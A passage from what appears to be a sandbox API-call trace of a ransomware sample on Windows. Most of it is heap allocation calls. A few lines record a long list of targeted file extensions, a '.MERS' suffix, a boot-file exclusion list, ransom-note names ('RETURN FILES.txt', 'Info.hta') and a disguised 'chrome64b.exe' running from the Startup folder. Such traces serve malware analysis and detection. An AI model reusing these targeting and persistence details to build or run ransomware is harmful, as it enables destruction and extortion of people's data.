.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0256.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c10e8 | out: hHeap=0x540000) returned 1 [0256.132] lstrlenW (lpString="") returned 0 [0256.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3c50 | out: hHeap=0x540000) returned 1 [0256.132] lstrlenW (lpString=".MERS") returned 5 [0256.132] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5794d0, Size=0x8) returned 0x5794d0 [0256.132] lstrlenW (lpString=".MERS") returned 5 [0256.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3c50 | out: hHeap=0x540000) returned 1 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3c80, Size=0x20) returned 0x554620 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554620, Size=0x40) returned 0x57acd8 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57acd8, Size=0x80) returned 0x5bf100 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dc88, Size=0x8) returned 0x57dc98 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dc98, Size=0x10) returned 0x5c3c80 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3c80, Size=0x20) returned 0x5545f8 [0256.133] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0256.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3cb0, Size=0x20) returned 0x579b78 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579b78, Size=0x40) returned 0x57acd8 [0256.133] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0256.133] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0256.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57acd8 | out: hHeap=0x540000) returned 1 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3cb0, Size=0x20) returned 0x579b78 [0256.133] lstrlenW (lpString="Info.hta") returned 8 [0256.133] lstrlenW (lpString="Info.hta") returned 8 [0256.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0256.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x59f8f8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe")) returned 0x69 [0256.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f8f8 | out: hHeap=0x540000) returned 1 [0256.133] lstrlenW (lpString="chrome64b.exe") returned 13 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x57acd8 [0256.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3cb0, Size=0x20) returned 0x5545f8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3cb0, Size=0x20) returned 0x579bc8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579bc8, Size=0x40) returned 0x57ad20 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ad20, Size=0x80) returned 0x5bf100 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x57da28 [0256.134] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0256.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57da28 | out: hHeap=0x540000) returned 1 [0256.134] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x59f8f8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0256.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x540000) returned 1 [0256.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f8f8 | out: hHeap=0x540000) returned 1 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dc98, Size=0x8) returned 0x57dc88 [0256.134] lstrlenW (lpString="%windir%;") returned 9 [0256.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5545f8 | out: hHeap=0x540000) returned 1 [0256.134] lstrlenW (lpString="C:\\Windows;") returned 11 [0256.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f0e8 | out: hHeap=0x540000) returned 1 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3cc8, Size=0x20) returned 0x5545f8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x57ad20 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ad20, Size=0x80) returned 0x5bf100 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcc8, Size=0x8) returned 0x57dcd8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcd8, Size=0x10) returned 0x5c3d10 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3d10, Size=0x20) returned 0x5545f8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dc98, Size=0x8) returned 0x57dcd8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dca8, Size=0x8) returned 0x57dc98 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcc8, Size=0x8) returned 0x57dce8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dce8, Size=0x10) returned 0x5c3db8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3db8, Size=0x20) returned 0x579bc8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcd8, Size=0x10) returned 0x5c3db8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dc98, Size=0x10) returned 0x5c3de8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcd8, Size=0x8) returned 0x57dcc8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dcf8, Size=0x8) returned 0x57dd08 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3db8, Size=0x20) returned 0x579ad8 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3de8, Size=0x20) returned 0x579bf0 [0256.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dd18, Size=0x8) returned 0x57dd28 [0256.135] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0256.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f100 | out: hHeap=0x540000) returned 1 [0256.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3e60, Size=0x20) returned 0x579c18 [0256.135] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5c3f00, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0256.135] lstrlenW (lpString="C:\\") returned 3 [0256.135] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0256.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x540000) returned 1 [0256.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dd58, Size=0x82) returned 0x57df30 [0256.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dd78, Size=0x100) returned 0x58f100 [0256.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57df30, Size=0x104) returned 0x5c1578 [0256.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x58f100, Size=0x200) returned 0x5c1688 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dd68 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1688 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1118 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf298 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3ec0 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf320 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1100 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1578 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3ed8 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dfc0 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c14e8 | out: hHeap=0x540000) returned 1 [0256.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1148 | out: hHeap=0x540000) returned 1 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3ed8, Size=0x20) returned 0x579c40 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c40, Size=0x40) returned 0x57ad20 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dd38 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3e60 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57da58 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3e90 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf210 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3e78 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dd48 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c3ea8 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57da28 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57a2a0 | out: hHeap=0x540000) returned 1 [0256.137] lstrlenW (lpString="%systemdrive%") returned 13 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c18 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0256.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dd18 | out: hHeap=0x540000) returned 1 [0256.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x57f0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0256.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10014) returned 0x5c3f00 [0256.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5c3ea8 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c3ea8, Size=0x20) returned 0x579c40 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c40, Size=0x40) returned 0x57ad68 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ad68, Size=0x80) returned 0x5bf100 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.137] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x58f100, Size=0x200) returned 0x5c14e8 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c14e8, Size=0x400) returned 0x5c14e8 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c14e8, Size=0x800) returned 0x5c14e8 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c14e8, Size=0x1000) returned 0x5d3f20 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x59f8f8 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5c3ea8 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3e78 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x57dd18 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c3e90 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x57dd48 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3e60 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dd18, Size=0x8) returned 0x57dd38 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c3ec0 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dd38, Size=0x10) returned 0x5c1100 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1118 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1130 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1100, Size=0x20) returned 0x579c40 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1100 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dd38 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c1148 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c1160 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c40, Size=0x40) returned 0x57ad68 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c1178 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c1190 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c11a8 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c11c0 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c11d8 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c11f0 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dd18 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1208 [0256.138] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ad68, Size=0x80) returned 0x5bf100 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1220 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1238 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1250 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1268 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1280 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1298 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c12b0 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dd78 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c12c8 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c12e0 [0256.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c12f8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1310 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1328 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1340 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1358 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1370 [0256.139] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1388 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c13a0 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c13b8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5c13d0 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c13e8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1400 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dd58 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1418 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1430 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1448 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x57dd88 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1460 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1478 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dd98 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1490 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c14a8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c14c0 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1500 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1518 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1530 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5c1548 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1560 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5c1578 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1590 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c15a8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c15c0 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c15d8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dda8 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c15f0 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1608 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1620 [0256.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1638 [0256.140] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x58f100, Size=0x200) returned 0x5c18e8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1650 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57ddb8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1668 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1680 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1698 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c16b0 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c16c8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c16e0 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c16f8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1710 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1728 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1740 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1758 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1770 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1788 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c17a0 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c17b8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c17d0 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c17e8 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1800 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1818 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1830 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1848 [0256.140] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57ddc8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1860 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1878 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1890 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57ddd8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c18a8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c18c0 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b08 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b20 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b38 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b50 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b68 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1b80 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1b98 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1bb0 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1bc8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1be0 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1bf8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1c10 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1c28 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1c40 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1c58 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1c70 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1c88 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1ca0 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1cb8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57dde8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x57ddf8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1cd0 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1ce8 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1d00 [0256.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1d18 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, 